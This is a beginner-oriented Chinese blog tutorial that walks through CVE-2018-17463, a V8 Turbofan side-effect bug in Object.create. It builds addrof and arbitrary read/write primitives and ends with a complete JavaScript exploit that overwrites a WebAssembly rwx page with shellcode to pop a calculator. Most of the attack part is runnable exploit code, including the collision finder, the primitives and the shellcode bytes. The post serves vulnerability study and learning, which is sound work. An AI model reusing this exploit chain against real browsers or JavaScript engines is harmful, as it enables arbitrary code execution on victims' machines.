通过一个CVE零基础入门V8-pwn

阅读量    491141 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

跟随P4nda大佬的博客:http://p4nda.top/2019/06/11/%C2%96CVE-2018-17463/#Reference
复现了CVE-2018-17463,在一些大佬懒得讲的地方加了一些理解和解释,比较新手向

 

环境

commit: 568979f4d891bafec875fab20f608ff9392f4f29
v8环境搭建:https://zhuanlan.zhihu.com/p/159646912

 

正文

漏洞存在于src/compiler/js-operator.cc:625

#define CACHED_OP_LIST(V)                                              
... ...
  V(CreateObject, Operator::kNoWrite, 1, 1)                            
... ...

问题是对JSCreateObject的操作存在误判,V8认为CreateObject不存在副作用,所以是kNoWrite,副作用就是指某个操作改变了某些全局变量或其他的系统状态等等。

但是实际上,在Turbofan的generic-lowering阶段,generic-lowering作用是将JS前缀指令转换为更简单的调用和stub调用。Turbofan把JSCreateObject节点用Builtins函数kCreateObjectWithoutProperties代替,而kCreateObjectWithoutProperties就是一个stub调用。

(这里一些源码就不放了,新手向新手向,想细看源码的可以移步大佬的博客)

如果一路跟进下去,在JSObject::NormalizeProperties函数中,可以发现该函数会调用Map::Normalize根据原有的map生成一个新的map,并且利用新的map重新构建输入的Object,这明显是一个具有side-effect的操作。
也就是说这个函数会改变我们传进去的参数object。然后看这句代码:

![](https://p0.ssl.qhimg.com/t0135645cf197b09621.png)

可以看到,新生成的map是字典模式的。所以最后我们输入的object即便原来是fast模式,也会变成字典模式。所以JSCreate并不是KNoWrite的。

KNoWrite是一个枚举类型的标志:

那么我们如何实现JSCreate操作呢,这里可以通过Object.create触发
其函数定义为:

Object.create(proto, [propertiesObject])
第二个参数是可选的,如果写了就会把它加入到新创建的对象的可枚举属性中。然后第一个参数是作为新创建的对象的原型,这也就满足了上面说的一个对象作为另一个对象的原型的条件。

接下来我们用d8去调一下试试:
首先我们声明一个对象:

可以看到此时a是fast模式,然后我们执行Object.create(a)试试:

可以看到,我们只是将a当做一个参数去调用了一个函数,a本身的模式就被改变了。

现在我们只知道a的模式被改变了,那么对应到具体的内存中又发生了哪些变化呢,我们用gdb调进去看看:

先放调试的js代码:

var a={x:1,y:2,z:3};
a.b=4;
a.c=5;
a.d=6;
%DebugPrint(a);
%SystemBreak();
Object.create(a);
%DebugPrint(a);
%SystemBreak();

我们首先来到第一个断点:

这是a的结构,有六个属性,其中有三个标志为properties,还有三个我们可以通过查看object的map:

发现是inobject properties,也就是保存在结构体内部的属性。
我们可以直接查看a所在的内存:

可以发现,第一个八字节,存的是object对应的map,第二个八字节:

可以看到里面存放了我们后来添加进去的三个属性,并且是按顺序存储。
然后我们看进入到第二个断点处:

可以看到a的map已经变成了字典模式,符合我们上面对它进行的分析。
然后我们查看a的内存:

我们发现x,y,z的属性值不见了,我们再去查看properties:

发现长度变成了6,并且结构变成了hashtable,也就是哈希表。
到了这里,我们发现,Object.create对一个Object的影响,无论原来的属性是inobject properties还是properties,都搞到properties中,并且把原来的线性结构改成hash表的字典结构。

现在我们已经知道了这个side-effect,那么我们如何利用它呢?
首先我们看一个函数:

function foo(o) { return o.a + o.b; }

其IR code 如下:

CheckHeapObject o 
CheckMap o, map1 
r0 = Load [o + 0x18] 
CheckHeapObject o 
CheckMap o, map1 
r1 = Load [o + 0x20] 
r2 = Add r0, r1 
CheckNoOverflow 
Return r2

大意就是检查map,赋值,检查map,赋值,相加,检查溢出,返回

当两个检查节点中间的操作是kNoWrite时,第二个检查就变成了多余的,所以我们可以先访问一个对象的内部属性,然后调用Object.create(),由于JS引擎默认这个操作是kNoWrite的,所以可能会导致我们再访问变量的时候不检查了。具体利用方法为:

首先定义一个数组,初始化一个a属性,然后再额外添加一个b属性,然后利用Object.create(数组),改变其内部存储,然后返回b属性。

function attack()
{
    function change(x)
    {
        x.a;
        Object.create(x);
        return x.b;
    }

    for(let i =0;i<10000;i++)
    {
        let x={a:0x1234};
        x.b=0x5678;
        let res=change(x);
        if(res!=0x5678)
        {
            console.log(i);
            console.log("CVE-2018-17463 exists in the d8");
            return;
        }
    }
    console.log("no cve")
}
attack()

把这段代码扔d8里跑一下:

可以看到确实触发了漏洞

由于它是由顺序表变成了哈希表,具有一定的随机性,每个属性的偏移位置是不固定的,这给我们的稳定利用带来了难度,但是我们又发现了一个规律:

当我们对两个属性名相同的对象进行上面的操作时,相同的属性名所在的偏移是相同的,尽管他们的属性值不同。

接下来就到了比较难懂的地方了,我们抓住相同的属性名偏移相同这一特点,以及V8会有一定可能因为认为Object.create的操作是kNoWrite的而放弃第二次检查这两个特点,去构造一个冲突,什么冲突呢,属性名偏移冲突。

我们先来看代码:

let OPTIMIZATION_NUM = 10000
let OBJ_LEN  = 0x30

function getOBJ(){
    let res = {a:0x1234};
    for (let i = 0; i< OBJ_LEN;i++){
        eval(`res.${'b'+i} = -${0x4869 + i};
        `);        
    }
    return res;
}

function findCollision(){
    let find_obj = [];
    for (let i = 0;i<OBJ_LEN;i++){
        find_obj[i] = 'b'+i;
    }
    eval(`
        function bad_create(x){
            x.a;
            this.Object.create(x);
            ${find_obj.map((b) => `let ${b} = x.${b};`).join('\n')}
            return [${find_obj.join(', ')}];
        }
    `);
    for (let i = 0; i<OPTIMIZATION_NUM;i++){
        let tmp = bad_create(getOBJ());
        for (let j = 0 ;j<tmp.length;j++){
            if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){
                console.log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");
                //return ['b'+j , 'b' + -(tmp[j]+0x4869)];
            }
        }
    }
    throw "not found collision ";
}
findCollision();

由于本人是刚学V8两天的小白,仅仅这段代码就看了足足一个小时,还好最后也是看懂了,这里来讲讲它做了什么:

可以这样理解,我们先搞出来一个对象,赋一些属性上去,这里注意,一定要是有规律的赋,怎么算有规律呢,我们需要能够做到通过属性名知道属性值,并且能够通过属性值知道属性名,这里可以采用字母+编号的方式。比如b12=120;b13=121;b14=122这种方式,让其对应上。

做以上操作的时候代码中运用了模板字符串啊,eval等这些函数,以前也没怎么接触过js,确实是蒙了一小会,不过多百度百度也就懂了。

然后仿照上面我们判断引擎是否存在cve漏洞的方法,通过判断返回值是否符合预期我们就可以知道是否触发了漏洞,然后这里多了一个操作,如果不符合预期的话,那它应该是给我们返回了一个其他属性的值,什么值呢,这里就需要依靠之前设定的规律来找到,找到发生冲突的属性,假设是我们预期的返回值是A的,但是返回了B的属性值,说明漏洞发生了,数据内存结构被改变了。也就是说当我访问B的时候,它会给我B的属性值,当我访问A的时候,它还会给我B的属性值。

为什么这样就可以利用了呢?

我们上面已经发现了,相同的属性名,偏移不变,所以如果我们新建一个object,然后添加两个属性,名字就叫A和B,此时我去访问A,就可以得到B的数据了,如果B中存了object类型的数据,那么我正常通过B去访问,引擎检测到我要打印object的话,它会显示类型名,即object,如果A中本来存了浮点型的数据,这样打印的时候,会把对应偏移的数据当成浮点型来打印,也就是会打印真值,而对应偏移的数据其实是B的object的地址,这样就拿到了addrof原语。
我们来看一下实现代码:

o.X = {x1:1.1,x2:1.2}; o.Y = {y1:obj};
function bad_create(o){ o.a; this.Object.create(o); return o.X.x1;}

这样的话看似返回的应该是1.1,但是实际上返回的是浮点型的object的地址,我们做一下浮点转换即可。

有了addrof原语,我们还需要能够做到任意地址读写,这里借用了ArrayBuffer这一数据结构。我们先来看一下ArrayBuffer的结构长啥样:


pwndbg> v8print 0x1d4b8ef8e1a9
0x1d4b8ef8e1a9: [JSArrayBuffer] 
- map: 0x350743c04371 <Map(HOLEY_ELEMENTS)> [FastProperties] 
- prototype: 0x29b14b610fd1 <Object map = 0x350743c043c1>
- elements: 0x236c6c482cf1 <FixedArray[0]> [HOLEY_ELEMENTS] 
- embedder fields: 2 
- backing_store: 0x5652a87208f0 
- byte_length: 1024 
- neuterable 
- properties: 0x236c6c482cf1 <FixedArray[0]> {}
- embedder fields = {    
(nil)    
(nil) 
}

其长度由byte_length指定,而实际读写的内存位于backing_store,当可以修改一个ArrayBuffer的backing_store时就可以对任意地址进行读写。而此成员在结构体中的偏移是0x20

也就是说我们需要构造一个往偏移+0x20处写的操作就可以控制ArrayBuffer读写哪里的内存。

然后我们来研究一下fast模式下的内存结构,我们先看这段代码执行的结果:

var a={x0:0x41414141};
%DebugPrint(a);
%SystemBreak();

可以看到第一个属性值出现在了偏移为0x18的位置
那么如果换成这种嵌套的写法呢:

var a={x0:{x1:1.1,x2:1.2}};
%DebugPrint(a);
%SystemBreak();

我们再来看一下:

我们会发现,0x18存的是0x20处的地址,然后0x20是一个新的对象的起始地址,然后1.2存在了0x20偏移0x20的地方,那么结合之前的漏洞,我们可以知道,当我们去修改X.x0.x2的时候,就是在修改Y.object偏移0x20位置的值了。

也就是说我们有了任意写了,那么如何任意读呢,由于我们是利用ArrayBuffer来进行的任意地址写,读肯定也要借助它,这里用了DataView:

它可以方便的读取ArrayBuffer里的数据。

最后一个问题,我们有了任意地址读写,我们应该考虑的是往一个rwx的区域写shellcode,然后去执行,我们往哪里写呢?
利用的是wasm机制,这里给出一个wasm的实例构造:

var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);
var wasmImports = {
  env: {
    puts: function puts (index) {
      console.log(utf8ToString(h, index));
    }
  }
};
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
let f = m.exports.p4nda;
f();

其中,f是一个JSFunction对象,只不过其实际执行代码存放于一个rwx的内存中,通过写该内存的代码区域,最终调用f(),触发来执行shellcode。

首先,构造wasm对象f方便shellcode执行,并利用addrof原语泄露f的地址。然后,定义一个ArrayBuffer对象,并利用gc机制使其被放入Old Space使地址更加稳定。之后,不断的利用该ArrayBuffer对象,泄露并修改其backing_store成员指向待读写区域,具体修改顺序为从JSFucntion到rwx区域的寻址流程:

JSFucntion -(0x18)->SharedFunctionInfo -(0x8)-> WasmExportedFunctionData -(0x10)-> WasmInstanceObject -(0xc8)-> imported_function_targets -(0)-> rwx_area

我们通过一串调用链一路读下去,读到一个,写到ArrayBuffer的backing_store中,然后接着读指定偏移的数据,再写过去,一直做到我们得到rwx地址,然后往rwx里面写好shellcode,最后调用f()触发即可。

有关wasm机制可以通过这篇文章进行一个初步的了解:https://www.cnblogs.com/jixiaohua/p/10425805.html

到这里所有的攻击原理已经了解清楚了,这里放一下大佬的exp,我这小垃圾自己写肯定是写不来的了,不过至少大佬的exp已经基本弄懂了。

function gc()
{
    /*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/
    for(var i=0;i<((1024 * 1024)/0x10);i++)
    {
        var a= new String();
    }
}
function give_me_a_clean_newspace()
{
    /*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/
    gc()
    gc()
}
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function d2u(v) {
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64;
}
function hex(b) {
    return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++)
        res.push(hex(bytes[i]));
    return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");
    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
    return bytes;
}
function hexdump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);
    var lines = [];
    for (var i = 0; i < data.length; i += 16) {
        var chunk = data.slice(i, i+16);
        var parts = chunk.map(hex);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }
    return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);
    return {
        pack: function(type, value) {
            var view = type;        // See below
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },
        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");
            var view = type;        // See below
            byteView.set(bytes);
            return view[0];
        },
        // Available types.
        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
    // The underlying byte array.
    var bytes = new Uint8Array(8);
    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;
            var bigEndian = unhexlify(v, 8);
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }
    // Return a double whith the same underlying bit representation.
    this.asDouble = function() {
        // Check for NaN
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");
        return Struct.unpack(Struct.float64, bytes);
    };
    // Return a javascript value with the same underlying bit representation.
    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
    // due to double conversion constraints.
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");
        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);
        return res;
    };
    // Return the underlying bytes of this number as array.
    this.bytes = function() {
        return Array.from(bytes);
    };
    // Return the byte at the given index.
    this.byteAt = function(i) {
        return bytes[i];
    };
    // Return the value of this number as unsigned hex string.
    this.toString = function() {
        return '0x' + hexlify(Array.from(bytes).reverse());
    };
    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.
    // Decorator for Int64 instance operations. Takes care
    // of converting arguments to Int64 instances if required.
    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }
    // this = -n (two's complement)
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);
        return this.assignAdd(this, Int64.One);
    }, 1);
    // this = a + b
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
    // this = a - b
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
    return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
    return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
function utf8ToString(h, p) {
  let s = "";
  for (i = p; h[i]; i++) {
    s += String.fromCharCode(h[i]);
  }
  return s;
}
function log(x,y = ' '){
    console.log("[+] log:", x,y);   
}

let OPTIMIZATION_NUM = 10000;
let OBJ_LEN = 0x20;
let X;
let Y;
// use a obj to check whether CVE-2018-17463 exists

function check_vul(){
    function bad_create(x){
        x.a;
        Object.create(x);
        return x.b;

    }

    for (let i = 0;i < OPTIMIZATION_NUM; i++){
        let x = {a : 0x1234};
        x.b = 0x5678; 
        let res = bad_create(x);
        //log(res);
        if( res != 0x5678){
            log("CVE-2018-17463 exists in the d8");
            return;
        }

    }
    throw "bad d8 version";

}


// check collision between directory mode and fast mode

function getOBJ(){
    let res = {a:0x1234};
    for (let i = 0; i< OBJ_LEN;i++){
        eval(`res.${'b'+i} = -${0x4869 + i};
        `);        
    }
    return res;
}
function printOBJ(x){
    for(let i = 0;i<OBJ_LEN;i++){
        eval(`console.log("log:["+${i}+"] :"+x.${'b'+i})`);
        //console.log('['+i+']'+x[i]);
    }
}
function findCollision(){
    let find_obj = [];
    for (let i = 0;i<OBJ_LEN;i++){
        find_obj[i] = 'b'+i;
    }
    eval(`
        function bad_create(x){
            x.a;
            this.Object.create(x);
            ${find_obj.map((b) => `let ${b} = x.${b};`).join('\n')}
            return [${find_obj.join(', ')}];
        }
    `);
    for (let i = 0; i<OPTIMIZATION_NUM;i++){
        let tmp = bad_create(getOBJ());
        for (let j = 0 ;j<tmp.length;j++){
            if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){
                log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");
                return ['b'+j , 'b' + -(tmp[j]+0x4869)];
            }
        }
    }
    throw "not found collision ";
}

// create primitive -> addrof
function getOBJ4addr(obj){
    let res = {a:0x1234};
    for (let i = 0; i< OBJ_LEN;i++){
        if (('b'+i)!= X &&('b'+i)!= Y  ){
        eval(`res.${'b'+i} = 1.1;
        `);        }
        if (('b'+i)== X){
            eval(`
                res.${X} = {x1:1.1,x2:1.2};
                `);            
        }
        if (('b'+i)== Y){
            eval(`
                res.${Y} = {y1:obj};
                `);            
        }        
    }
    return res;
}
function addrof(obj){
    eval(`
        function bad_create(o){
            o.a;
            this.Object.create(o);
            return o.${X}.x1;
        }
    `);

    for (let i = 0;i < OPTIMIZATION_NUM;i++){ 
        let ret = bad_create( getOBJ4addr(obj));
         let tmp =Int64.fromDouble(ret).toString();
        if (ret!= 1.1){
            log(tmp);
            return ret; 
        }
    }
    throw "not found addrof obj";

}

// create primitive -> Arbitrary write
function getOBJ4read(obj){
    let res = {a:0x1234};
    for (let i = 0; i< OBJ_LEN;i++){
        if (('b'+i)!= X &&('b'+i)!= Y  ){
        eval(`res.${'b'+i} = {};
        `);        }
        if (('b'+i)== X){
            eval(`
                res.${X} = {x0:{x1:1.1,x2:1.2}};
                `);            
        }
        if (('b'+i)== Y){
            eval(`
                res.${Y} = {y1:obj};
                `);            
        }        
    }
    return res;
}
function arbitraryWrite(obj,addr){
    eval(`
        function bad_create(o,value){
            o.a;
            this.Object.create(o);
            let ret = o.${X}.x0.x2;
             o.${X}.x0.x2 = value;
            return ret;
        }
    `);

    for (let i = 0;i < OPTIMIZATION_NUM;i++){ 
        let ret = bad_create( getOBJ4read(obj),addr);
        let tmp =Int64.fromDouble(ret).toString();
        if (ret!= 1.2){
            return ;
        }
    }
    throw "not found arbitraryWrite";

}

// exploit

function exploit(){
    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);
    var wasmImports = {
      env: {
        puts: function puts (index) {
          console.log(utf8ToString(h, index));
        }
      }
    };
    let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
    let h = new Uint8Array(m.exports.memory.buffer);
    let f = m.exports.p4nda;
    console.log("step 0: Game start");
    f();
    console.log("step 1: check whether vulnerability exists");
    check_vul();
    console.log("step 2: find collision");
    [X,Y] = findCollision();

    let mem = new ArrayBuffer(1024); 
    give_me_a_clean_newspace();
    console.log("step 3: get address of JSFunciton");
    let addr = addrof(f);
    console.log("step 4: make ArrayBuffer's backing_store -> JSFunciton");
    arbitraryWrite(mem,addr);
    let dv = new DataView(mem);
    SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true));
    console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr);
    console.log("step 5: make ArrayBuffer's backing_store ->  SharedFunctionInfo");
    arbitraryWrite(mem,SharedFunctionInfo_addr.asDouble());
    WasmExportedFunctionData_addr =  Int64.fromDouble(dv.getFloat64(0x7,true));
    console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr);
    console.log("step 6: make ArrayBuffer's backing_store ->  WasmExportedFunctionData");
    arbitraryWrite(mem,WasmExportedFunctionData_addr.asDouble());
    WasmInstanceObject_addr =  Int64.fromDouble(dv.getFloat64(0xf,true));
    console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr);
    console.log("step 7: make ArrayBuffer's backing_store ->  WasmInstanceObject");
    arbitraryWrite(mem,WasmInstanceObject_addr.asDouble());
    imported_function_targets_addr =  Int64.fromDouble(dv.getFloat64(0xc7,true));
    console.log("[+] imported_function_targets addr :"+imported_function_targets_addr);
    console.log("step 8: make ArrayBuffer's backing_store ->  imported_function_targets");
    arbitraryWrite(mem,imported_function_targets_addr.asDouble());
    code_addr =  Int64.fromDouble(dv.getFloat64(0,true));
    console.log("[+] code addr :"+code_addr);
    log("step 9: make ArrayBuffer's backing_store ->  rwx_area");
    arbitraryWrite(mem,code_addr.asDouble());
    console.log("step 10: write shellcode for poping up a calculator");
    let shellcode_calc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
    let write_tmp = new Uint8Array(mem);
    write_tmp.set(shellcode_calc);
    console.log("[+] Press Any key to execute Shellcode");
    readline();
    f();

}

exploit();

然后我们来具体打一下看看效果:

计算器确实被丢出来了,拜拜~

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多